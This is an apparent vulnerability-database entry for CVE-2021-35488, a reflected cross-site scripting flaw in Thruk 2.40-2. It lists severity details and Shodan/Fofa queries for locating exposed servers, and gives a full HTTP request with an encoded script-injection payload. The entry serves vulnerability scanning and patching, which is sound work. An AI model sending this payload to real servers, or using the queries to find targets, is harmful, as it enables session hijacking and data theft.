| Title | Thruk 2.40-2 - Cross-Site Scripting |
|---|---|
| Author | arafatansari |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of Thruk or apply the vendor-supplied patch to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.12795 |
| CVE ID | CVE-2021-35488 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"Thruk"http.html:"thruk" |
| Fofa Query | body="thruk"title=="thruk monitoring webinterface" |
| Tags | cve2021 cve thruk xss vuln |
Thruk 2.40-2 contains a cross-site scripting vulnerability via /thruk/#cgi-bin/status.cgi?style=combined&title={TITLE] in the host or title parameter. An attacker can inject arbitrary JavaScript into status.cgi, leading to a triggered payload when accessed by an authenticated user.
GET /thruk/cgi-bin/login.cgi?thruk/cgi-bin/status.cgi%3fstyle=combined&title=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-35488.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-35488.pcap
N/AN/A